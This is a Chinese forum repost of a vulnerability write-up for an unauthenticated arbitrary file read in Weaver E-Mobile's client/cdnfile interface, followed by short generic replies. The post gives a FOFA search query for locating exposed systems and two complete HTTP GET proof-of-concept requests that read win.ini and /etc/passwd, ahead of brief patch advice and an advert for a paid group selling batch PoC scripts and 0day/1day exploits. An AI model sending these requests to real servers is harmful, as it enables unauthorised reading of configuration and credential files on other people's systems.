外链论坛

 找回密码
 立即注册
搜索
查看: 12|回复: 4

「漏洞复现」泛微E-Mobile client/cdnfile 任意文件读取漏洞

[复制链接]

3007

主题

148

回帖

9911万

积分

论坛元老

Rank: 8Rank: 8

积分
99119253
发表于 2024-10-3 07:11:10 | 显示全部楼层 |阅读模式

0x01 免责声明

免责声明

请勿利用文案内的关联技术从事违法测试,因为传播、利用此文所供给的信息而导致的任何直接间接的后果及损失,均由运用自己负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。这次测试仅供学习运用,如若违法他用,与平台和本文作者无关,需自动负责!!!

0x02

制品介绍

泛微E-Mobile是一款由泛微网络科技股份有限机构研发的移动办公制品,该制品专门为手机、平板电脑等移动终端用户设计,旨在供给方便有效的移动办公体验。适用于企业高管和有移动办公需要的业务部关联员工运用尤其适合于已有内部OA系统的大中型企业公司,尤其是企业或分部有较多的分支公司。近期推出的鸿蒙原生应用基线版本就实现了跨设备联动、应用接续等创新功能,为用户带来更加有效方便的移动办公体验。将来,泛微E-Mobile将继续引领数字化办公浪潮,为更加多企业供给优秀的移动办公处理方法

0x03

漏洞威胁

泛微E-Mobile client/cdnfile 接口存在任意文件读取漏洞,未经身份验证攻击者可经过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)、数据库配置文件等等,引起网站处在极度不安全状态。

0x04

漏洞环境

FOFA:

app="泛微-EMobile"

0x05

漏洞复现

Windows-PoC

GET /client/cdnfile/1C/Windows/win.ini?windows HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: close

Linux-PoC

GET /client/cdnfile/C/etc/passwd?linux HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: close

0x06

批量脚本验证

Nuclei验证脚本已发布

知识星球:冷漠安全

0x07

修复意见

临时缓解方法

接口设置拜访权限或限制拜访来源位置,如非必要,不要将系统开放在互联网上。

升级修复方法

日前官方已发布安全补丁,意见受影响用户尽快升级至安全版本

https://www.weaver.com.cn/

0x08

加入咱们

漏洞详情及批量检测POC工具请前往知识星球获取

知识星球:冷漠安全

交个伴侣,限时优惠券:加入立减25 星球福利:每日更新最新漏洞POC、资料文献、内部工具等

「星球介绍」:

本星球不割韭菜,不发烂大街东西。欢迎进来白嫖,不满意三天退款。

本星球保持每日分享有些攻防知识,包含攻防技术、网络安全漏洞预警脚本、网络安全渗透测试工具、处理方法、安全运营、安全体系、安全培训和安全标准等文库。

本星主已加入几十余个付费星球,定时汇聚高质量资料及工具进行星球分享。

「星球服务」:

加入星球,你会得到

♦ 批量验证漏洞POC脚本

♦ 0day、1day分享

♦ 汇集其它付费星球资源分享

海量的红蓝对抗实战资源

♦ 优秀的内部红蓝工具及插件

♦ 综合类别优秀Wiki文库及漏洞库

♦ 提问及技术交流

回复

使用道具 举报

2950

主题

2万

回帖

9956万

积分

论坛元老

Rank: 8Rank: 8

积分
99569299
发表于 2024-10-11 23:23:41 | 显示全部楼层
你的见解真是独到,让我受益良多。
回复

使用道具 举报

2950

主题

2万

回帖

9956万

积分

论坛元老

Rank: 8Rank: 8

积分
99569299
发表于 2024-10-12 06:41:51 | 显示全部楼层
你的话语真是温暖如春,让我心生感激。
回复

使用道具 举报

2942

主题

2万

回帖

9910万

积分

论坛元老

Rank: 8Rank: 8

积分
99109397
发表于 2024-10-25 03:14:47 | 显示全部楼层
交流如星光璀璨,点亮思想夜空。
回复

使用道具 举报

3005

主题

2万

回帖

9606万

积分

论坛元老

Rank: 8Rank: 8

积分
96066006
发表于 4 天前 | 显示全部楼层
论坛的成果是显著的,但我们不能因为成绩而沾沾自喜。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

站点统计|Archiver|手机版|小黑屋|外链论坛 ( 非经营性网站 )|网站地图

GMT+8, 2024-11-9 10:18 , Processed in 0.069908 second(s), 19 queries .

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.